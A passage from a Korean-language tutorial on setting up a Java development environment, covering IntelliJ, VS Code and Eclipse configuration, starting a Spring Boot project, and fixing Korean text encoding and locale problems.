     · 버전을 여러 개 두고 롤백 가능
     · 설정을 계정에 동기화 (Settings Sync)

② Toolbox 목록에서 "IntelliJ IDEA Community Edition" 설치

또는 직접 받기
   https://www.jetbrains.com/idea/download/
   페이지를 아래로 내리면 Community Edition 이 있습니다
   (위쪽 큰 버튼은 Ultimate 체험판입니다)

패키지 매니저로
   winget install JetBrains.Toolbox
   brew install --cask jetbrains-toolbox
   sudo snap install intellij-idea-community --classic
IntelliJ 는 자바를 품고 옵니다 — IDE 자체가 도는 데 필요한 JBR(JetBrains Runtime)이 내장돼 있습니다. 하지만 그것으로 내 프로젝트를 빌드하지는 않습니다. 프로젝트용 JDK 는 따로 지정해야 합니다(위 그림).

첫 프로젝트 — 클릭 순서 그대로 🟢 기초

New Project 화면에서 고를 것

첫 화면 → [New Project]

  왼쪽 목록      New Project        ← 순수 자바/Gradle 프로젝트
                 Spring Boot        ← Ultimate 전용 (st09 는 웹으로 대체 가능)

  Name           demo
  Location       C:\dev\demo        ← 한글·공백 없는 경로로! (st12)
  Language       Java
  Build system   Gradle             ← Maven 도 가능
  JDK            25 (Temurin)       ← 목록에 없으면 아래 "Download JDK" ★
  Gradle DSL     Kotlin             ← 요즘 표준. Groovy 도 여전히 많이 씁니다
  ☑ Add sample code                 ← 켜 두면 Main.java 가 생겨 바로 실행됩니다

  [Create]

만들어지는 구조
  demo/
    build.gradle.kts        ← 의존성 · 자바 버전
    settings.gradle.kts     ← 프로젝트 이름
    gradlew  gradlew.bat    ← 래퍼 (st06)
    gradle/wrapper/
    src/main/java/org/example/Main.java
    src/test/java/
JDK 드롭다운에 아무것도 없다면 당황하지 말고 Download JDK… 를 고르세요. Vendor 에서 Eclipse Temurin, Version 에서 25 를 고르면 IDE 가 알아서 받아 등록합니다. 이 방법은 st03 의 환경 변수 작업 없이도 IDE 안에서만큼은 바로 동작합니다.

첫 실행과 첫 확인

// src/main/java/org/example/Main.java
package org.example;

public class Main {
    public static void main(String[] args) {
        System.out.println("Hello, 자바!");
        System.out.println("JVM  : " + Runtime.version());
        System.out.println("경로 : " + System.getProperty("java.home"));
        System.out.println("인코딩: " + System.getProperty("file.encoding"));
        System.out.println("작업  : " + System.getProperty("user.dir"));
    }
}
실행 방법 세 가지
  ① main 메서드 왼쪽의 ▶ 초록 삼각형 클릭
  ② Ctrl(⌃) + Shift + F10        현재 파일 실행
  ③ 하단 Terminal 탭에서  ./gradlew run

출력 예
  Hello, 자바!
  JVM  : 25.0.2+12
  경로 : C:\Program Files\Eclipse Adoptium\jdk-25.0.2.12-hotspot
  인코딩: UTF-8
  작업  : C:\dev\demo
“Hello, 자바!” 가 깨져 보인다면 인코딩 문제입니다 — st10 으로 가세요. “경로” 가 예상과 다르면 IDE 가 다른 JDK 를 쓰고 있는 것입니다 — 위 그림의 세 자리를 확인하세요.

처음에 꼭 바꾸는 설정 — 인코딩과 자동 import 🟢 기초

Settings 에서 다섯 가지

Settings 열기 : Ctrl + Alt + S   (맥 ⌘ + ,)

① 인코딩을 전부 UTF-8 로  ★
   Editor → File Encodings
     Global Encoding          UTF-8
     Project Encoding         UTF-8
     Default encoding for properties files  UTF-8
     ☑ Transparent native-to-ascii conversion  (properties 한글용)

② import 자동 정리  ★
   Editor → General → Auto Import
     ☑ Add unambiguous imports on the fly
     ☑ Optimize imports on the fly

③ 저장할 때 자동 포맷
   Tools → Actions on Save
     ☑ Reformat code   ☑ Optimize imports

④ 빌드를 Gradle 이 아니라 IDEA 로 (작은 프로젝트에서 훨씬 빠릅니다)
   Build Tools → Gradle
     Build and run using      IntelliJ IDEA
     Run tests using          IntelliJ IDEA
   ※ 애노테이션 프로세서(Lombok, QueryDSL)가 꼬이면 Gradle 로 되돌리세요

⑤ 메모리 늘리기 (큰 프로젝트에서 느릴 때)
   Help → Change Memory Settings → 2048 이상

외워 두면 속도가 달라지는 단축키

Windows · Linux하는 일
Shift Shift무엇이든 검색 — 이거 하나만 알아도 삽니다 ★
Alt + Enter빨간 줄에서 “고쳐 줘”. import · 변수 추출 · 형 변환 ★
Ctrl + B선언으로 이동 (Ctrl + 클릭도 같음)
Ctrl + Alt + L코드 정렬(포맷)
Shift + F10 / F9직전 것 다시 실행 / 디버그
sout + TabSystem.out.println() 자동 완성
psvm + Tabpublic static void main 자동 완성
Ctrl + Alt + V결과를 변수로 뽑기
맥은 Ctrl → ⌘, Alt → ⌥ 로 바꿔 읽으면 대개 맞습니다 (Alt+Enter 만 ⌥+Enter 그대로). 전체 목록은 Help → Keyboard Shortcuts PDF 에서 한 장으로 받을 수 있습니다.
꼭 넣을 플러그인은 사실 별로 없습니다 — IntelliJ 는 기본기가 강해서 Lombok 지원도 이제 내장입니다(별도 플러그인 불필요). 그래도 유용한 것을 꼽자면 Key Promoter X(마우스로 한 동작의 단축키를 알려 줌), SonarQube for IDE(코드 냄새 검사), Rainbow Brackets 정도입니다. 플러그인을 많이 깔수록 IDE 가 느려진다는 점을 기억하세요.
정리 — Toolbox → IntelliJ Community 설치, New Project 에서 Gradle · Kotlin DSL · JDK 25, JDK 가 없으면 Download JDK. 설정에서 인코딩 UTF-8 과 자동 import 를 켜고, Shift Shift 와 Alt+Enter 두 개만 손에 붙이면 시작은 충분합니다.
SETUP 08

VS Code · Eclipse — 다른 선택지는 언제 쓰나

IntelliJ 가 표준이지만 유일한 답은 아닙니다. 이미 VS Code 에 익숙하거나, 회사가 Eclipse 기반 도구를 쓰거나, 가벼운 편집기로 남의 코드만 들여다볼 때는 다른 선택이 낫습니다. 각각의 적정 용도를 정리합니다.

VS Code — 확장 팩 하나면 됩니다

① VS Code 설치
   winget install Microsoft.VisualStudioCode
   brew install --cask visual-studio-code

② 확장 설치 — 마켓플레이스에서 이름 그대로 검색
   Extension Pack for Java        ← ★ 이것 하나가 6개 묶음
     · Language Support for Java (Red Hat)
     · Debugger for Java
     · Test Runner for Java
     · Maven for Java
     · Project Manager for Java
     · IntelliCode

   Spring Boot Extension Pack     ← 스프링 할 때 추가
     · Spring Boot Tools / Dashboard / Initializr

③ 명령 팔레트로 설치 (Ctrl + Shift + P)
   "Java: Create Java Project"    새 프로젝트
   "Java: Configure Java Runtime" JDK 지정 화면 ★
   "Spring Initializr: Create a Gradle Project"
// .vscode/settings.json — 프로젝트에 두면 팀원과 공유됩니다
{
  "java.jdt.ls.java.home": "C:\\Program Files\\Eclipse Adoptium\\jdk-25.0.2.12-hotspot",
  "java.configuration.runtimes": [
    { "name": "JavaSE-21", "path": "C:\\Program Files\\Eclipse Adoptium\\jdk-21.0.6.7-hotspot" },
    { "name": "JavaSE-25", "path": "C:\\Program Files\\Eclipse Adoptium\\jdk-25.0.2.12-hotspot",
      "default": true }
  ],
  "java.format.settings.url": "https://raw.githubusercontent.com/google/styleguide/gh-pages/eclipse-java-google-style.xml",
  "files.encoding": "utf8",
  "java.saveActions.organizeImports": true
}
java.jdt.ls.java.home 과 java.configuration.runtimes 는 역할이 다릅니다 — 앞의 것은 언어 서버(분석 엔진)가 돌아갈 자바이고, 뒤의 것은 내 프로젝트를 컴파일·실행할 자바 목록입니다. “VS Code 가 Java 21 이상을 요구합니다” 라는 메시지는 앞의 것 이야기입니다.

셋을 어떻게 나눠 쓰나

강한 곳약한 곳
IntelliJ리팩터링 · 스프링 · 디버깅 · 코드 분석. 자바 실무의 기본값무겁고 메모리를 씁니다
VS Code가볍다 · 프런트와 한 창에서 · 원격(SSH·WSL·Dev Container)이 강함큰 자바 프로젝트에서 분석이 느리고 리팩터링이 약합니다
Eclipse완전 무료 · 플러그인 생태계가 오래됨 · 회사 표준인 곳이 아직 있음UI 가 옛스럽고 설정이 흩어져 있습니다
STS
Spring Tool Suite
Eclipse + 스프링 도구. 무료로 스프링 지원을 받는 유일한 길IntelliJ Ultimate 만큼 매끄럽지는 않습니다

Eclipse · STS 를 고르는 실제 이유

  • 회사 규정 — 사내 표준 개발 환경이 Eclipse 기반
  • 돈 — Ultimate 를 못 사는데 스프링 지원이 필요할 때 STS
  • 특정 플러그인 — 전자정부 프레임워크(eGovFrame)처럼 Eclipse 전용 도구
  • 안드로이드 이전 세대 코드 — 옛 프로젝트 구조가 Eclipse 파일에 묶여 있을 때
공공 SI 를 한다면 전자정부 표준프레임워크가 Eclipse 기반이라 선택의 여지가 없는 경우가 있습니다. 그래도 코드 자체는 평범한 자바·스프링이니 IntelliJ 로 읽고 Eclipse 로 빌드하는 식으로 병행하는 사람도 많습니다.

원격 개발 — 여기선 VS Code 가 강합니다 🟡 중급

// .devcontainer/devcontainer.json
// 팀원이 "폴더 열기" 만 하면 동일한 자바 환경이 컨테이너로 뜹니다
{
  "name": "java-dev",
  "image": "mcr.microsoft.com/devcontainers/java:21",
  "features": {
    "ghcr.io/devcontainers/features/java:1": {
      "version": "none",
      "installGradle": true,
      "gradleVersion": "9.1.0"
    }
  },
  "customizations": {
    "vscode": {
      "extensions": ["vscjava.vscode-java-pack", "vmware.vscode-boot-dev-pack"]
    }
  },
  "forwardPorts": [8080]
}
“설치 안내서”를 코드로 만드는 방법입니다 — JDK 버전 · Gradle 버전 · 확장까지 파일에 적혀 있으니 신입이 첫날 겪는 st01~st06 을 통째로 건너뜁니다. IntelliJ 도 Dev Container 를 지원하지만, 이 영역은 VS Code 가 더 매끄럽습니다.

에디터 없이 확인만 할 때

# 남의 코드를 잠깐 보거나 서버에서 확인만 할 때는
# IDE 없이도 충분히 할 수 있습니다

# 한 파일 실행 (컴파일 불필요 · Java 11+)
java Hello.java

# 대화형 셸 — 파이썬 REPL 처럼
jshell
jshell> var list = java.util.List.of(1,2,3);
jshell> list.stream().mapToInt(Integer::intValue).sum()
jshell> /exit

# jar 안에 뭐가 들었는지
jar tf app.jar | head -30
unzip -p app.jar META-INF/MANIFEST.MF

# 클래스 파일이 몇 버전용인지 (st12 의 major version 문제)
javap -verbose Hello.class | findstr "major"   # 윈도우
javap -verbose Hello.class | grep major        # 맥 · 리눅스
# major version: 69  → Java 25   (버전 + 44 = major)
major version 계산법 — 메이저 버전 + 44 입니다. 61=17, 65=21, 69=25. 에러 메시지에 숫자만 나올 때 이 공식으로 어느 자바로 빌드된 것인지 바로 알 수 있습니다.

Eclipse · STS 설치 — 워크스페이스라는 개념부터 🟢 기초

받고 여는 순서

① 받기
   Eclipse  https://www.eclipse.org/downloads/packages/
              → "Eclipse IDE for Enterprise Java and Web Developers"
   STS      https://spring.io/tools
              → Spring Tools 4 for Eclipse (플랫폼별 jar 또는 설치본)

   ※ STS 는 받은 .jar 를 실행하면 압축이 풀리는 방식입니다
        java -jar spring-tool-suite-4-...-linux.gtk.x86_64.self-extracting.jar

② 첫 실행 — Workspace 를 묻습니다
     C:\dev\workspace        ← 한글·공백 없는 경로 ★
   워크스페이스 = "프로젝트들을 담아 두는 폴더 + 설정 저장소"
   IntelliJ 와 다른 점 : 여러 프로젝트가 한 창에 함께 열립니다

③ 프로젝트 가져오기
   File → Import → Gradle → Existing Gradle Project
   File → Import → Maven  → Existing Maven Projects
   ※ Gradle 프로젝트를 "Java Project" 로 열면 의존성이 안 잡힙니다

④ 이 워크스페이스가 쓸 JDK 지정
   Window → Preferences → Java → Installed JREs → [Add...]
     → Standard VM → JRE home 에 JAVA_HOME 폴더 지정
   Window → Preferences → Java → Compiler → Compiler compliance level
워크스페이스마다 설정이 따로입니다 — 인코딩·JDK·포맷 설정이 워크스페이스 단위로 저장되므로, 새 워크스페이스를 만들면 처음부터 다시 잡아야 합니다. Window → Preferences → General → Workspace → Text file encoding 을 UTF-8 로 바꾸는 것을 첫 작업으로 삼으세요.

IntelliJ 쓰던 사람이 헷갈리는 것

IntelliJEclipse · STS
프로젝트 = 창 하나워크스페이스 하나에 프로젝트 여러 개
저장하면 자동 컴파일 안 함저장할 때마다 자동 빌드 (기본 켜짐)
Shift ShiftCtrl + Shift + R (파일) · Ctrl + Shift + T (타입)
Alt + EnterCtrl + 1 (Quick Fix)
Ctrl + Alt + LCtrl + Shift + F (포맷)
Ctrl + BF3 (선언으로)
Ctrl + Alt + OCtrl + Shift + O (import 정리)
실행 Shift + F10Ctrl + F11
키맵을 통일할 수 있습니다 — IntelliJ 에는 Settings → Keymap → Eclipse 프리셋이 있고, Eclipse 에도 IntelliJ 스타일 키맵 플러그인이 있습니다. 두 IDE 를 오가야 한다면 한쪽 키맵으로 통일하는 편이 손이 편합니다.
Eclipse 가 느려질 때 — 설치 폴더의 eclipse.ini 에서 -Xmx2048m 처럼 힙을 늘리고, -vm 항목으로 Eclipse 자체가 쓸 JDK를 명시하면 안정적입니다 (여기 지정하는 자바와 프로젝트용 JDK 는 별개입니다).

VS Code 에서 디버깅 · 실행 설정 🟡 중급

.vscode/launch.json

{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "java",
      "name": "DemoApplication (dev)",
      "request": "launch",
      "mainClass": "com.example.demo.DemoApplication",
      "projectName": "demo",
      "args": "--server.port=8081",
      "vmArgs": "-Dfile.encoding=UTF-8 -Duser.timezone=Asia/Seoul",
      "env": { "SPRING_PROFILES_ACTIVE": "local" }
    },
    {
      "type": "java",
      "name": "실행 중인 JVM 에 붙기",
      "request": "attach",
      "hostName": "localhost",
      "port": 5005
    }
  ]
}
원격 디버깅은 서버 쪽 JVM 을 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 로 띄우고 위의 attach 설정으로 붙습니다. 운영 서버에 열어 두면 안 되는 포트이니 개발·스테이징에서만 쓰세요.

그 밖의 선택지

도구메모
NetBeansApache 재단. 무료이고 Maven 지원이 좋지만 국내 자바 현장에서는 드뭅니다
Neovim + jdtlsEclipse 언어 서버를 그대로 씁니다. 설정 비용이 크지만 가볍습니다
JetBrains Fleet가벼운 편집기 모드 ↔ 스마트 모드 전환. 아직 IDEA 를 대체하지는 않습니다
브라우저에서GitHub Codespaces · IntelliJ 의 Code With Me — 설치 없이 남의 환경에 붙어 봅니다
편집기 선택에 시간을 쓰지 마세요 — 프로젝트의 진짜 정의는 build.gradle.kts 와 src/ 안에 있고, 편집기는 언제든 갈아탈 수 있습니다. IDE 전용 파일(.idea/, .project, .classpath)은 .gitignore 에 넣어 두는 것이 관례입니다.
정리 — 기본은 IntelliJ, 가볍게·원격으로·프런트와 함께면 VS Code + Extension Pack for Java, 회사가 요구하거나 무료로 스프링 지원이 필요하면 Eclipse/STS. 편집기는 나중에 바꿔도 됩니다 — 프로젝트 파일은 Gradle 쪽에 있으니까요.
SETUP 09

Spring Boot 시작 준비 — start.spring.io 부터 첫 실행까지

자바를 배우는 이유의 대부분이 스프링입니다. 환경이 갖춰졌다면 서버 하나 띄우는 데 5분이면 됩니다. 여기서는 프로젝트를 받아 여는 것까지만 다룹니다 — 코드 이야기는 Spring Boot Web 탭에 있습니다.

start.spring.io 에서 첫 실행까지 — 5분 1 start.spring.io — 항목을 고르고 GENERATE Gradle-Kotlin · Java · Boot 최신 안정 · Java 21 또는 25 · 의존성 몇 개 2 zip 을 풉니다 — 경로에 한글 · 공백 없이 ★ C:\dev\demo 는 좋고 C:\사용자\내 프로젝트\demo 는 사고의 씨앗입니다 (st12) 3 IntelliJ 에서 build.gradle.kts 를 "Open as Project" 로 엽니다 폴더째 열어도 되지만, 빌드 파일을 여는 쪽이 Gradle 연동이 확실합니다 4 ./gradlew bootRun → localhost:8080 첫 빌드는 의존성을 받느라 몇 분, 두 번째부터는 몇 초입니다 막히는 지점은 늘 셋입니다 — 경로에 한글, 포트 8080 점유, JDK 버전 불일치 (st12)
스프링은 설치할 것이 없습니다 — 의존성일 뿐이라 Gradle 이 받아 옵니다.

start.spring.io 화면 — 고를 것

항목고를 값 · 이유
ProjectGradle - Kotlin — 요즘 표준. Groovy 도 여전히 널리 씁니다
LanguageJava
Spring BootSNAPSHOT · M 표시가 없는 최신 안정판을 고릅니다 ★
Groupcom.example — 회사 도메인을 거꾸로 (kr.co.mycorp)
Artifactdemo — 프로젝트 이름. 소문자·하이픈
PackagingJar — War 는 옛 방식입니다
Java21 또는 25 — 내 PC 에 깐 것과 맞추세요

처음에 담을 의존성

이름왜
Spring WebREST API — 사실상 필수
Spring Boot DevTools코드를 고치면 자동 재시작 ★
Lombokgetter/setter 자동 생성
Validation요청 값 검증
Spring Data JPA + H2DB 연습용 (설치 불필요한 메모리 DB)
Spring Boot Actuator헬스체크 · 상태 확인
나중에 추가할 수 있습니다 — 의존성은 build.gradle.kts 에 한 줄 적으면 그만이라 지금 완벽하게 고를 필요가 없습니다. IntelliJ Ultimate 라면 Alt+Insert → Add Starters 로 화면에서 추가할 수도 있습니다.

받고 · 열고 · 띄우기

# 웹 대신 명령으로 받을 수도 있습니다 (같은 서비스)
curl https://start.spring.io/starter.zip \
  -d type=gradle-project-kotlin \
  -d language=java \
  -d javaVersion=21 \
  -d groupId=com.example -d artifactId=demo \
  -d dependencies=web,devtools,lombok,validation \
  -o demo.zip

unzip demo.zip -d demo
cd demo

# 첫 실행 (Gradle 을 안 깔았어도 됩니다 — 래퍼가 처리)
./gradlew bootRun
# ...
#  :: Spring Boot ::
# Tomcat started on port 8080 (http)
# Started DemoApplication in 1.842 seconds

# 다른 터미널에서 확인
curl http://localhost:8080/
# {"timestamp":"...","status":404,"error":"Not Found","path":"/"}
#   ↑ 404 가 나오면 성공입니다. 서버는 떴는데 만든 주소가 없을 뿐입니다 ★
404 를 보고 실패했다고 생각하지 마세요 — 서버가 응답했다는 증거입니다. 진짜 실패는 Connection refused(서버가 안 떴음) 또는 콘솔의 APPLICATION FAILED TO START 입니다.

포트와 자동 재시작 — 첫날 만나는 두 가지 🟢 기초

포트 바꾸기 · 8080 이 이미 쓰일 때

# src/main/resources/application.yml
server:
  port: 8081          # 0 으로 두면 빈 포트를 자동으로 골라 씁니다

spring:
  application:
    name: demo
# 파일을 안 고치고 그때만 바꾸기
./gradlew bootRun --args='--server.port=8081'
java -jar build/libs/demo-0.0.1-SNAPSHOT.jar --server.port=8081
SERVER_PORT=8081 ./gradlew bootRun          # 환경 변수로도 됩니다

# 8080 을 누가 쓰고 있나 — 윈도우
netstat -ano | findstr :8080
# TCP  0.0.0.0:8080  0.0.0.0:0  LISTENING  17244
taskkill /PID 17244 /F

# 맥 · 리눅스
lsof -i :8080
kill -9 <PID>
가장 흔한 범인은 “아까 내가 띄운 서버” 입니다. IDE 에서 정지 버튼을 안 누르고 창만 닫으면 프로세스가 살아 있습니다. Web server failed to start. Port 8080 was already in use. 를 보면 먼저 실행 중인 자바 프로세스부터 확인하세요(jps -l).

DevTools — 고치면 알아서 다시 뜹니다

// build.gradle.kts
dependencies {
    developmentOnly("org.springframework.boot:spring-boot-devtools")
}
// developmentOnly 라서 운영 jar 에는 안 들어갑니다
spring:
  devtools:
    restart:
      enabled: true
      poll-interval: 2s
    livereload:
      enabled: true      # 브라우저 새로고침까지
IntelliJ 에서 DevTools 가 안 도는 이유 — IDEA 는 저장할 때 자동으로 컴파일하지 않습니다. DevTools 는 .class 파일이 바뀔 때 재시작하므로, Settings → Build → Compiler → ☑ Build project automatically 를 켜야 합니다. (예전 버전은 Registry 의 compiler.automake.allow.when.app.running 도 함께 켜야 했습니다.)
재시작이 느리면 — DevTools 는 “전체 재시작”보다 빠른 클래스로더 교체 방식입니다. 그래도 3초 이상 걸린다면 JPA 엔티티 스캔이나 초기 데이터 적재가 원인인 경우가 많습니다.

받은 프로젝트 안에 무엇이 들어 있나 🟢 기초

폴더 하나씩

demo/ build.gradle.kts # 의존성 · 자바 버전 · 플러그인 settings.gradle.kts # 프로젝트 이름 (rootProject.name) gradlew gradlew.bat # 래퍼 — 반드시 커밋 (st06) gradle/wrapper/ # 래퍼가 쓸 Gradle 버전이 적힌 곳 .gitignore # build/ · .gradle/ 등이 이미 들어 있습니다 src/main/java/ # 코드 DemoApplication.java # 진입점 (@SpringBootApplication) src/main/resources/ application.properties # 설정 (yml 로 바꿔도 됩니다) static/ # 그대로 서빙되는 파일 (html·css·js) templates/ # 서버 렌더링 템플릿 (Thymeleaf 등) src/test/java/ # 테스트 build/ # 산출물 — 커밋하지 않습니다
src/main/java · src/main/resources 구조는 Maven 이 만든 관례인데 Gradle 도 그대로 따릅니다. 그래서 어느 자바 프로젝트를 열어도 모양이 같습니다 — 처음 보는 저장소라도 src/main/java 부터 열면 됩니다.

properties 냐 yml 이냐

# application.properties — 기본으로 생성됩니다
spring.application.name=demo
server.port=8080
spring.datasource.url=jdbc:h2:mem:testdb
logging.level.org.springframework.web=DEBUG
# application.yml — 같은 내용. 계층이 보여 읽기 편합니다
spring:
  application:
    name: demo
  datasource:
    url: jdbc:h2:mem:testdb
server:
  port: 8080
logging:
  level:
    org.springframework.web: DEBUG
둘을 동시에 두지 마세요 — 둘 다 있으면 properties 가 이깁니다. “설정을 고쳤는데 반영이 안 돼요”의 흔한 원인입니다. 하나를 지우고 시작하세요(실무에서는 대개 yml 을 씁니다). yml 은 탭 문자를 허용하지 않는다는 점도 기억해 두세요 — 반드시 공백입니다.
정리 — start.spring.io 에서 Gradle-Kotlin · Java 21/25 · Web + DevTools + Lombok 을 골라 받고, 한글 없는 경로에 풀어 IntelliJ 로 build.gradle.kts 를 열고, ./gradlew bootRun 후 404 가 나오면 성공입니다.
SETUP 10

인코딩 · 로케일 — 한글이 깨지는 모든 경우

한국에서 자바를 하면 언젠가 반드시 만납니다. ?????, 안녕, 占쏙옙 — 모양은 달라도 원인은 몇 개 안 됩니다. 깨지는 지점이 소스인지, 컴파일인지, 콘솔인지를 가르는 법부터 잡습니다.

한글은 네 곳을 지나갑니다 — 깨진 곳이 곧 범인입니다 ① 소스 파일 에디터가 저장한 인코딩 UTF-8 이어야 합니다 IDE 설정 · .editorconfig ② javac 가 읽기 -encoding UTF-8 Gradle 에서 지정 안 하면 OS 기본값 ③ JVM 내부 Java 18+ 는 UTF-8 고정 file.encoding 이제 거의 문제없음 ④ 콘솔 윈도우 기본은 코드페이지 949 여기가 남은 범인 증상으로 범인 찾기 ????? → 표현 못 하는 문자로 바뀜. 대개 ④ 콘솔 또는 파일 쓰기 인코딩 안녕 → UTF-8 바이트를 다른 인코딩으로 읽음. ① 과 ② 가 어긋난 경우 占쏙옙 → EUC-KR/CP949 로 저장된 것을 UTF-8 로 읽음. 옛 소스 파일에서 자주 Java 18 부터 ③ 이 UTF-8 로 고정되어 예전보다 훨씬 조용해졌습니다 (JEP 400) 그래도 콘솔 출력만은 별개입니다 — System.out 은 콘솔 인코딩을 따로 봅니다 해결 순서 — 소스를 UTF-8 로 통일 → 빌드에 -encoding 지정 → 콘솔을 65001 로
깨진 모양만 봐도 어느 단계에서 어긋났는지 짐작할 수 있습니다.

윈도우 콘솔 — 코드 페이지 바꾸기

# 지금 코드 페이지 확인
chcp
# 활성 코드 페이지: 949        ← CP949 (한국어 완성형)

# 이 창에서만 UTF-8 로
chcp 65001

# PowerShell 은 출력 인코딩도 따로 있습니다
[Console]::OutputEncoding = [Text.Encoding]::UTF8
$OutputEncoding = [Text.Encoding]::UTF8

# 항상 그렇게 하려면 프로필에 (한 번만)
notepad $PROFILE
# 아래 두 줄을 넣습니다
#   [Console]::OutputEncoding = [Text.Encoding]::UTF8
#   $OutputEncoding = [Text.Encoding]::UTF8

# 윈도우 전체를 UTF-8 로 바꾸는 방법도 있습니다 (재부팅 필요)
#   설정 → 시간 및 언어 → 언어 및 지역 → 관리자 언어 설정
#   → 시스템 로캘 변경 → ☑ 세계 언어 지원을 위한 Beta: UTF-8 사용
#   ※ 옛날 프로그램이 깨질 수 있어 "베타" 입니다. 감수하고 켜는 사람이 많습니다
Windows Terminal 을 쓰세요 — 옛 conhost(검은 cmd 창)는 한글·이모지 렌더링이 부실합니다. Windows 11 은 기본이고, 10 이면 스토어에서 무료로 받을 수 있습니다. 글꼴은 D2Coding, Cascadia Mono, JetBrains Mono 중 하나를 권합니다.

자바 쪽에서 못 박기

# 실행할 때 옵션으로
java -Dfile.encoding=UTF-8 -Dsun.stdout.encoding=UTF-8 \
     -Dsun.stderr.encoding=UTF-8 -jar app.jar

# 타임존까지 함께 (로그 시각이 UTC 로 찍히는 문제)
java -Duser.timezone=Asia/Seoul -Dfile.encoding=UTF-8 -jar app.jar

# 매번 붙이기 싫으면 환경 변수 — JVM 이 알아서 읽습니다 ★
#   윈도우 환경 변수에
#     JAVA_TOOL_OPTIONS = -Dfile.encoding=UTF-8 -Duser.timezone=Asia/Seoul
#   맥 · 리눅스
export JAVA_TOOL_OPTIONS="-Dfile.encoding=UTF-8 -Duser.timezone=Asia/Seoul"

# 이 변수가 켜져 있으면 JVM 이 뜰 때마다 이 줄을 찍습니다
#   Picked up JAVA_TOOL_OPTIONS: -Dfile.encoding=UTF-8
#   ↑ 에러가 아닙니다. 다만 스크립트 출력을 파싱할 때 방해가 될 수 있습니다
Java 18 부터 file.encoding 기본값이 UTF-8 입니다(JEP 400). 그러니 최신 자바에서는 이 옵션이 대개 필요 없습니다. 옛 시스템과 호환이 필요하면 -Dfile.encoding=COMPAT 로 예전 동작(OS 기본값)으로 되돌릴 수 있습니다 — 레거시 CP949 파일을 읽는 배치에서 실제로 쓰입니다.

빌드와 소스 쪽 고정 — 팀 전체에 적용되게 🟡 중급

Gradle · Maven 에 못 박기

// build.gradle.kts — 모든 컴파일 · 테스트 · javadoc 에 적용
tasks.withType<JavaCompile>().configureEach {
    options.encoding = "UTF-8"
    options.release = 21
}
tasks.withType<Test>().configureEach {
    systemProperty("file.encoding", "UTF-8")
    jvmArgs("-Duser.timezone=Asia/Seoul")
}
tasks.withType<Javadoc>().configureEach {
    options.encoding = "UTF-8"
}
<!-- pom.xml — 이 두 줄이 사실상 표준입니다 -->
<properties>
  <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
</properties>
이걸 안 넣으면 팀원 A(맥, UTF-8)와 팀원 B(윈도우, CP949)의 빌드 결과가 달라집니다. CI 에서만 테스트가 깨지는 미스터리의 단골 원인입니다. 새 프로젝트를 만들면 가장 먼저 넣는 줄이라고 생각하세요.

에디터 · Git 쪽 고정

# .editorconfig — 프로젝트 루트에 두면 IDE 가 알아서 따릅니다
root = true

[*]
charset = utf-8
end_of_line = lf
insert_final_newline = true
indent_style = space
indent_size = 4
trim_trailing_whitespace = true

[*.{yml,yaml,json}]
indent_size = 2

[*.bat]
end_of_line = crlf
# .gitattributes — 줄바꿈이 팀원마다 달라지는 것을 막습니다
# * text=auto eol=lf
# *.bat text eol=crlf
# *.jar binary

# 파일 인코딩이 뭔지 확인 (맥 · 리눅스 · WSL)
file -I MyClass.java
# MyClass.java: text/x-java; charset=utf-8

# CP949 로 저장된 옛 파일을 UTF-8 로 변환
iconv -f CP949 -t UTF-8 old.java -o new.java
find . -name "*.java" -exec sh -c 'iconv -f CP949 -t UTF-8 "$1" -o "$1.tmp" && mv "$1.tmp" "$1"' _ {} \;
BOM 을 조심하세요 — 윈도우 메모장이 “UTF-8”로 저장하면 파일 맨 앞에 보이지 않는 3바이트(EF BB BF)가 붙습니다. 자바 소스에서는 대개 무해하지만, .sh 스크립트나 properties 파일에서는 “첫 줄을 못 읽는다” 같은 기괴한 오류를 만듭니다. IDE 에서 UTF-8 (BOM 없음) 으로 저장하세요.

로케일 — 날짜와 숫자가 이상할 때 🟡 중급

import java.time.*;
import java.time.format.*;
import java.util.Locale;

public class LocaleCheck {
    public static void main(String[] args) {
        System.out.println("기본 로케일 : " + Locale.getDefault());
        System.out.println("기본 시간대 : " + ZoneId.systemDefault());
        System.out.println("파일 인코딩 : " + System.getProperty("file.encoding"));
        System.out.println("콘솔 인코딩 : " + System.getProperty("stdout.encoding"));

        var now = LocalDateTime.now();
        // 로케일을 명시하지 않으면 서버마다 결과가 달라집니다
        System.out.println(now.format(
            DateTimeFormatter.ofPattern("yyyy년 M월 d일 (E) a h시", Locale.KOREA)));
        // 2026년 8월 26일 (수) 오후 3시

        System.out.printf(Locale.KOREA, "%,d 원%n", 1234567);   // 1,234,567 원
    }
}
실무 규칙 — 사람에게 보여 줄 서식에는 항상 Locale 을 명시하고, 서버 저장·API 응답에는 ISO-8601 + UTC 를 씁니다. “로컬에선 잘 보이는데 서버에선 Wed 로 나온다”가 이 규칙을 안 지켜서 생깁니다.

환경별로 로케일·시간대 고정하기

# JVM 옵션으로
java -Duser.language=ko -Duser.country=KR \
     -Duser.timezone=Asia/Seoul -jar app.jar

# 도커 이미지 안에서 (컨테이너 기본 시간대는 UTC 입니다)
# ENV TZ=Asia/Seoul
# ENV JAVA_TOOL_OPTIONS="-Duser.timezone=Asia/Seoul -Dfile.encoding=UTF-8"
# ENV LANG=C.UTF-8

# 리눅스 서버의 로케일 확인 · 설정
locale
sudo locale-gen ko_KR.UTF-8
sudo update-locale LANG=ko_KR.UTF-8
컨테이너의 시간대는 기본이 UTC 입니다 — 로그 시각이 9시간 밀려 보이면 이것입니다. 애플리케이션 시간대를 서울로 고정하거나, 전부 UTC 로 통일하고 화면에서만 변환하거나 — 둘 중 하나로 팀 규칙을 정하세요. 섞이는 것이 가장 나쁩니다.
정리 — 소스 UTF-8 · 빌드에 -encoding UTF-8 · 콘솔 chcp 65001, 그리고 필요하면 JAVA_TOOL_OPTIONS. Java 18+ 는 내부 기본값이 UTF-8 이라 예전보다 훨씬 편해졌지만 콘솔과 소스 파일은 여전히 사람이 챙겨야 합니다.
SETUP 11

만든 것을 돌리고 나눠 주기 — jar · jlink · Docker

개발 PC 에서 도는 것과 남에게 건네주는 것은 다른 문제입니다. 상대 PC 에 자바가 없을 수도 있고, 서버에는 아예 다른 버전이 있을 수도 있습니다. jar 하나부터 자바를 통째로 품은 설치 파일까지, 선택지를 정리합니다.

